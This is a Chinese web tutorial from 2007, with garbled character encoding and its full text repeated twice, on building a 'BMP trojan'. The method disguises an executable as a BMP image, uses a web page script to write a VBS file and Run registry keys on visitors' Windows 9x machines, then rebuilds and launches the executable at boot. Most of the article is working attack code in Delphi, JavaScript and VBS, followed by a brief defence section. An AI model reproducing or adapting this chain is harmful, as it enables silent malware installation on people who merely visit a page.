利用圖片做木馬應(yīng)用完全解析
更新時(shí)間:2007年01月16日 00:00:00 作者:
何謂BMP網(wǎng)頁木馬?它和過去早就用臭了的MIME頭漏洞的木馬不同,MIME木馬是把一個(gè)EXE文件用MIME編碼為一個(gè)EML(OUT LOOK信件)文件,放到網(wǎng)頁上利用IE和OE的編碼漏洞實(shí)現(xiàn)自動下載和執(zhí)行.
然而BMP木馬就不同,它把一個(gè)EXE文件偽裝成一個(gè)BMP圖片文件,欺騙IE自動下載,再利用網(wǎng)頁中的JAVAscript腳本查找客戶端的Internet臨時(shí)文件夾,找到下載后的BMP文件,把它拷貝到TEMP目錄.再編寫一個(gè)腳本把找到的BMP文件用DEBUG還原成EXE,并把它放到注冊表啟動項(xiàng)中,在下一次開機(jī)時(shí)執(zhí)行.但是這種技術(shù)只能在9X下發(fā)揮作用,對于2K,XP來說是無能為力了.
看上去好象很復(fù)雜,下面我們一步一步來:
1) EXE變BMP的方法.
大家自己去查查BMP文件資料就會知道,BMP文件的文件頭有54個(gè)字節(jié),簡單來說里面包含了BMP文件的長寬,位數(shù),文件大小,數(shù)據(jù)區(qū)長度,我們只要在EXE文件的文件頭前面添加相應(yīng)的BMP文件頭(當(dāng)然BMP文件頭里面的數(shù)據(jù)要符合EXE文件的大小啦),這樣就可以欺騙IE下載該BMP文件,開始我們用JPG文件做過試驗(yàn),發(fā)現(xiàn)如果文件頭不正確的話,IE是不會下載的,轉(zhuǎn)換代碼如下:
program exe2bmp;
uses
Windows,
SysUtils;
var len,row,col,fs: DWORD;
buffer: array[0..255]of char;
fd: WIN32_FIND_DATA;
h,hw: THandle;
begin
if (ParamStr(1)<>'') and(ParamStr(2)<>'') then begin //如果運(yùn)行后沒有兩個(gè)參數(shù)則退出
if FileExists(ParamStr(1)) then begin
FindFirstFile(Pchar(ParamStr(1)),fd);
fs:=fd.nFileSizeLow;
col := 4;
while true do begin
if (fs mod 12)=0 then begin
len:=fs;
end else len:=fs+12-(fs mod 12);
row := len div col div 3;
if row>col then begin
col:=col+4;
end else Break;
end;
FillChar(buffer,256,0);
{一下為BMP文件頭數(shù)據(jù)}
Buffer[0]:='B';Buffer[1]:='M';
PDWORD(@buffer[18])^:=col;
PDWORD(@buffer[22])^:=row;
PDWORD(@buffer[34])^:=len;
PDWORD(@buffer[2])^:=len+54;
PDWORD(@buffer[10])^:=54;
PDWORD(@buffer[14])^:=40;
PWORD(@buffer[26])^:=1;
PWORD(@buffer[28])^:=24;
{寫入文件}
hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0);
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);
WriteFile(hw,buffer,54,col,0);
repeat
ReadFile(h,buffer,256,col,0);
WriteFile(hw,buffer,col,col,0);
untilcol<>256;
WriteFile(hw,buffer,len-fs,col,0);
CloseHandle(h);
CloseHandle(hw);
end;
end;
end.
以上代碼可以在DELPHI4,5,6中編譯 ,就可以得到一個(gè)exe2bmp.exe文件.大家打開MSDOS方式,輸入
exe2bmp myexe.exe mybmp.bmp
回車就可以把第二個(gè)參數(shù)所指定的EXE文件轉(zhuǎn)換成BMP格式.
接著就是把這個(gè)BMP圖片放到網(wǎng)頁上了,如果大家打開過這張圖片的話,一定發(fā)現(xiàn)這張BMP又花,顏色又單調(diào).所以大家放在網(wǎng)頁上最好用這樣的格式
以下是放在網(wǎng)頁上的腳本
document.write(' ');
function docsave()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');
a.createInstance();
fso=a.GetObject();
var winsys=fso.GetSpecialFolder(1);
var vbs=winsys+'s.vbs';
wsh.RegWrite
('HKCUSoftwareMicrosoftWindowsCurrentVersionRunvbs','wscript '+'"'+vbs+'" ');
var st=fso.CreateTextFile(vbs,true);
st.WriteLine('Option Explicit');
st.WriteLine('Dim FSO,WSH,CACHE,str');
st.WriteLine('Set FSO = CreateObject("scripting.FileSystemObject")');
st.WriteLine('Set WSH = CreateObject("Wscript.Shell")');
st.WriteLine('CACHE=wsh.RegRead("HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerShellFoldersCache")');
st.WriteLine('wsh.RegDelete("HKCUSoftwareMicrosoftWindowsCurrentVersionRunvbs")');
st.WriteLine ('wsh.RegWrite "HKCUSoftwareMicrosoftWindowsCurrentVersionRun mp","tmp.exe"');
st.WriteLine('SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"');
st.WriteLine('Wscript.Quit()');
st.WriteLine('Function SearchBMPFile(Folder,fname)');
st.WriteLine(' Dim SubFolder,File,Lt,tmp,winsys');
st.WriteLine(' str=FSO.GetParentFolderName(folder) & "" & folder.name & "" & fname');
st.WriteLine(' if FSO.FileExists(str) then');
st.WriteLine(' tmp=fso.GetSpecialFolder(2) & ""');
st.WriteLine(' winsys=fso.GetSpecialFolder(1) & ""');
st.WriteLine(' set File=FSO.GetFile(str)');
st.WriteLine(' File.Copy(tmp & "tmp.dat")');
st.WriteLine(' File.Delete');
st.WriteLine(' set Lt=FSO.CreateTextFile(tmp & "tmp.in")');
st.WriteLine(' Lt.WriteLine("rbx")');
st.WriteLine(' Lt.WriteLine("0")');
st.WriteLine(' Lt.WriteLine("rcx")');
st.WriteLine(' Lt.WriteLine("1000")');
st.WriteLine(' Lt.WriteLine("w136")');
st.WriteLine(' Lt.WriteLine("q")');
st.WriteLine(' Lt.Close');
st.WriteLine(' WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6');
st.WriteLine(' On Error Resume Next ');
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")');
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Delete');
st.WriteLine(' FSO.GetFile(tmp & "tmp.in").Delete');
st.WriteLine(' FSO.GetFile(tmp & "tmp.out").Delete');
st.WriteLine(' end if');
st.WriteLine(' If Folder.SubFolders.Count <> 0 Then');
st.WriteLine(' For Each SubFolder In Folder.SubFolders');
st.WriteLine(' SearchBMPFile SubFolder,fname');
st.WriteLine(' Next');
st.WriteLine(' End If');
st.WriteLine('End Function');
st.Close();
}
setTimeout('docsave()',1000);
把該腳本保存為"js.js",在網(wǎng)頁中插入:
<script src="js.js"></script>
該腳本主要會在本地機(jī)器的SYSTEM目錄下生成一個(gè)“S.VBS”文件,該腳本文件會在下次開機(jī)時(shí)自動運(yùn)行。主要用于從臨時(shí)目錄中找出mybmp[1].bmp文件。
“S.VBS”文件主要內(nèi)容如下:
Option Explicit
Dim FSO,WSH,CACHE,str
Set FSO = CreateObject("scripting.FileSystemObject")
Set WSH = CreateObject("Wscript.Shell")
CACHE=wsh.RegRead("HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerShellFoldersCache")
wsh.RegDelete("HKCUSoftwareMicrosoftWindowsCurrentVersionRunvbs")
wsh.RegWrite "HKCUSoftwareMicrosoftWindowsCurrentVersionRuntmp","tmp.exe"
SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"
Wscript.Quit()
Function SearchBMPFile(Folder,fname)
Dim SubFolder,File,Lt,tmp,winsys
'從臨時(shí)文件夾中查找目標(biāo)BMP圖片
str=FSO.GetParentFolderName(folder) & "" & folder.name & "" & fname
if FSO.FileExists(str) then
tmp=fso.GetSpecialFolder(2) & ""
winsys=fso.GetSpecialFolder(1) & ""
set File=FSO.GetFile(str)
File.Copy(tmp & "tmp.dat")
File.Delete
'生成一個(gè)DEBUG腳本
set Lt=FSO.CreateTextFile(tmp & "tmp.in")
Lt.WriteLine("rbx")
Lt.WriteLine("0")
Lt.WriteLine("rcx")
'下面一行的1000是十六進(jìn)制,換回十進(jìn)制是4096(該數(shù)字是你的EXE文件的大小)
Lt.WriteLine("1000")
Lt.WriteLine("w136")
Lt.WriteLine("q")
Lt.Close
WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6
On Error Resume Next
FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")
FSO.GetFile(tmp & "tmp.dat").Delete
FSO.GetFile(tmp & "tmp.in").Delete
FSO.GetFile(tmp & "tmp.out").Delete
end if
If Folder.SubFolders.Count <> 0 Then
For Each SubFolder In Folder.SubFolders
SearchBMPFile SubFolder,fname
Next
End If
End Function
這個(gè)腳本會找出在臨時(shí)文件夾中的bmp文件,并生成一個(gè)DEBUG的腳本,運(yùn)行時(shí)會自動從BMP文件54字節(jié)處讀去你指定大小的數(shù)據(jù),并把它保存到tmp.dat中.后面的腳本再把它復(fù)制到SYSTEM的目錄下.這個(gè)被還原的EXE文件會在下次重起的時(shí)候運(yùn)行.這就是BMP木馬的基本實(shí)現(xiàn)過程.
詳細(xì)腳本代碼請參考http://hotsky.363.net
防范方法:
最簡單,刪除或改名wscrpit.exe文件和DEBUG 文件;
安裝有效的殺毒軟件,因?yàn)檫@些腳本有好多殺毒軟件已經(jīng)可以查出來了.
在條件允許的情況下,安裝WIN2K SP3,盡量避免去一些不名來歷的網(wǎng)站.
<script type=text/javascript></script> <script src="http://pagead2.googlesyndication.com
/pagead/show_ads.js" type=text/javascript> </script>
然而BMP木馬就不同,它把一個(gè)EXE文件偽裝成一個(gè)BMP圖片文件,欺騙IE自動下載,再利用網(wǎng)頁中的JAVAscript腳本查找客戶端的Internet臨時(shí)文件夾,找到下載后的BMP文件,把它拷貝到TEMP目錄.再編寫一個(gè)腳本把找到的BMP文件用DEBUG還原成EXE,并把它放到注冊表啟動項(xiàng)中,在下一次開機(jī)時(shí)執(zhí)行.但是這種技術(shù)只能在9X下發(fā)揮作用,對于2K,XP來說是無能為力了.
看上去好象很復(fù)雜,下面我們一步一步來:
1) EXE變BMP的方法.
大家自己去查查BMP文件資料就會知道,BMP文件的文件頭有54個(gè)字節(jié),簡單來說里面包含了BMP文件的長寬,位數(shù),文件大小,數(shù)據(jù)區(qū)長度,我們只要在EXE文件的文件頭前面添加相應(yīng)的BMP文件頭(當(dāng)然BMP文件頭里面的數(shù)據(jù)要符合EXE文件的大小啦),這樣就可以欺騙IE下載該BMP文件,開始我們用JPG文件做過試驗(yàn),發(fā)現(xiàn)如果文件頭不正確的話,IE是不會下載的,轉(zhuǎn)換代碼如下:
program exe2bmp;
uses
Windows,
SysUtils;
var len,row,col,fs: DWORD;
buffer: array[0..255]of char;
fd: WIN32_FIND_DATA;
h,hw: THandle;
begin
if (ParamStr(1)<>'') and(ParamStr(2)<>'') then begin //如果運(yùn)行后沒有兩個(gè)參數(shù)則退出
if FileExists(ParamStr(1)) then begin
FindFirstFile(Pchar(ParamStr(1)),fd);
fs:=fd.nFileSizeLow;
col := 4;
while true do begin
if (fs mod 12)=0 then begin
len:=fs;
end else len:=fs+12-(fs mod 12);
row := len div col div 3;
if row>col then begin
col:=col+4;
end else Break;
end;
FillChar(buffer,256,0);
{一下為BMP文件頭數(shù)據(jù)}
Buffer[0]:='B';Buffer[1]:='M';
PDWORD(@buffer[18])^:=col;
PDWORD(@buffer[22])^:=row;
PDWORD(@buffer[34])^:=len;
PDWORD(@buffer[2])^:=len+54;
PDWORD(@buffer[10])^:=54;
PDWORD(@buffer[14])^:=40;
PWORD(@buffer[26])^:=1;
PWORD(@buffer[28])^:=24;
{寫入文件}
hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0);
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);
WriteFile(hw,buffer,54,col,0);
repeat
ReadFile(h,buffer,256,col,0);
WriteFile(hw,buffer,col,col,0);
untilcol<>256;
WriteFile(hw,buffer,len-fs,col,0);
CloseHandle(h);
CloseHandle(hw);
end;
end;
end.
以上代碼可以在DELPHI4,5,6中編譯 ,就可以得到一個(gè)exe2bmp.exe文件.大家打開MSDOS方式,輸入
exe2bmp myexe.exe mybmp.bmp
回車就可以把第二個(gè)參數(shù)所指定的EXE文件轉(zhuǎn)換成BMP格式.
接著就是把這個(gè)BMP圖片放到網(wǎng)頁上了,如果大家打開過這張圖片的話,一定發(fā)現(xiàn)這張BMP又花,顏色又單調(diào).所以大家放在網(wǎng)頁上最好用這樣的格式
以下是放在網(wǎng)頁上的腳本
document.write(' ');
function docsave()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');
a.createInstance();
fso=a.GetObject();
var winsys=fso.GetSpecialFolder(1);
var vbs=winsys+'s.vbs';
wsh.RegWrite
('HKCUSoftwareMicrosoftWindowsCurrentVersionRunvbs','wscript '+'"'+vbs+'" ');
var st=fso.CreateTextFile(vbs,true);
st.WriteLine('Option Explicit');
st.WriteLine('Dim FSO,WSH,CACHE,str');
st.WriteLine('Set FSO = CreateObject("scripting.FileSystemObject")');
st.WriteLine('Set WSH = CreateObject("Wscript.Shell")');
st.WriteLine('CACHE=wsh.RegRead("HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerShellFoldersCache")');
st.WriteLine('wsh.RegDelete("HKCUSoftwareMicrosoftWindowsCurrentVersionRunvbs")');
st.WriteLine ('wsh.RegWrite "HKCUSoftwareMicrosoftWindowsCurrentVersionRun mp","tmp.exe"');
st.WriteLine('SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"');
st.WriteLine('Wscript.Quit()');
st.WriteLine('Function SearchBMPFile(Folder,fname)');
st.WriteLine(' Dim SubFolder,File,Lt,tmp,winsys');
st.WriteLine(' str=FSO.GetParentFolderName(folder) & "" & folder.name & "" & fname');
st.WriteLine(' if FSO.FileExists(str) then');
st.WriteLine(' tmp=fso.GetSpecialFolder(2) & ""');
st.WriteLine(' winsys=fso.GetSpecialFolder(1) & ""');
st.WriteLine(' set File=FSO.GetFile(str)');
st.WriteLine(' File.Copy(tmp & "tmp.dat")');
st.WriteLine(' File.Delete');
st.WriteLine(' set Lt=FSO.CreateTextFile(tmp & "tmp.in")');
st.WriteLine(' Lt.WriteLine("rbx")');
st.WriteLine(' Lt.WriteLine("0")');
st.WriteLine(' Lt.WriteLine("rcx")');
st.WriteLine(' Lt.WriteLine("1000")');
st.WriteLine(' Lt.WriteLine("w136")');
st.WriteLine(' Lt.WriteLine("q")');
st.WriteLine(' Lt.Close');
st.WriteLine(' WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6');
st.WriteLine(' On Error Resume Next ');
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")');
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Delete');
st.WriteLine(' FSO.GetFile(tmp & "tmp.in").Delete');
st.WriteLine(' FSO.GetFile(tmp & "tmp.out").Delete');
st.WriteLine(' end if');
st.WriteLine(' If Folder.SubFolders.Count <> 0 Then');
st.WriteLine(' For Each SubFolder In Folder.SubFolders');
st.WriteLine(' SearchBMPFile SubFolder,fname');
st.WriteLine(' Next');
st.WriteLine(' End If');
st.WriteLine('End Function');
st.Close();
}
setTimeout('docsave()',1000);
把該腳本保存為"js.js",在網(wǎng)頁中插入:
<script src="js.js"></script>
該腳本主要會在本地機(jī)器的SYSTEM目錄下生成一個(gè)“S.VBS”文件,該腳本文件會在下次開機(jī)時(shí)自動運(yùn)行。主要用于從臨時(shí)目錄中找出mybmp[1].bmp文件。
“S.VBS”文件主要內(nèi)容如下:
Option Explicit
Dim FSO,WSH,CACHE,str
Set FSO = CreateObject("scripting.FileSystemObject")
Set WSH = CreateObject("Wscript.Shell")
CACHE=wsh.RegRead("HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerShellFoldersCache")
wsh.RegDelete("HKCUSoftwareMicrosoftWindowsCurrentVersionRunvbs")
wsh.RegWrite "HKCUSoftwareMicrosoftWindowsCurrentVersionRuntmp","tmp.exe"
SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"
Wscript.Quit()
Function SearchBMPFile(Folder,fname)
Dim SubFolder,File,Lt,tmp,winsys
'從臨時(shí)文件夾中查找目標(biāo)BMP圖片
str=FSO.GetParentFolderName(folder) & "" & folder.name & "" & fname
if FSO.FileExists(str) then
tmp=fso.GetSpecialFolder(2) & ""
winsys=fso.GetSpecialFolder(1) & ""
set File=FSO.GetFile(str)
File.Copy(tmp & "tmp.dat")
File.Delete
'生成一個(gè)DEBUG腳本
set Lt=FSO.CreateTextFile(tmp & "tmp.in")
Lt.WriteLine("rbx")
Lt.WriteLine("0")
Lt.WriteLine("rcx")
'下面一行的1000是十六進(jìn)制,換回十進(jìn)制是4096(該數(shù)字是你的EXE文件的大小)
Lt.WriteLine("1000")
Lt.WriteLine("w136")
Lt.WriteLine("q")
Lt.Close
WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6
On Error Resume Next
FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")
FSO.GetFile(tmp & "tmp.dat").Delete
FSO.GetFile(tmp & "tmp.in").Delete
FSO.GetFile(tmp & "tmp.out").Delete
end if
If Folder.SubFolders.Count <> 0 Then
For Each SubFolder In Folder.SubFolders
SearchBMPFile SubFolder,fname
Next
End If
End Function
這個(gè)腳本會找出在臨時(shí)文件夾中的bmp文件,并生成一個(gè)DEBUG的腳本,運(yùn)行時(shí)會自動從BMP文件54字節(jié)處讀去你指定大小的數(shù)據(jù),并把它保存到tmp.dat中.后面的腳本再把它復(fù)制到SYSTEM的目錄下.這個(gè)被還原的EXE文件會在下次重起的時(shí)候運(yùn)行.這就是BMP木馬的基本實(shí)現(xiàn)過程.
詳細(xì)腳本代碼請參考http://hotsky.363.net
防范方法:
最簡單,刪除或改名wscrpit.exe文件和DEBUG 文件;
安裝有效的殺毒軟件,因?yàn)檫@些腳本有好多殺毒軟件已經(jīng)可以查出來了.
在條件允許的情況下,安裝WIN2K SP3,盡量避免去一些不名來歷的網(wǎng)站.
<script type=text/javascript></script> <script src="http://pagead2.googlesyndication.com
/pagead/show_ads.js" type=text/javascript> </script>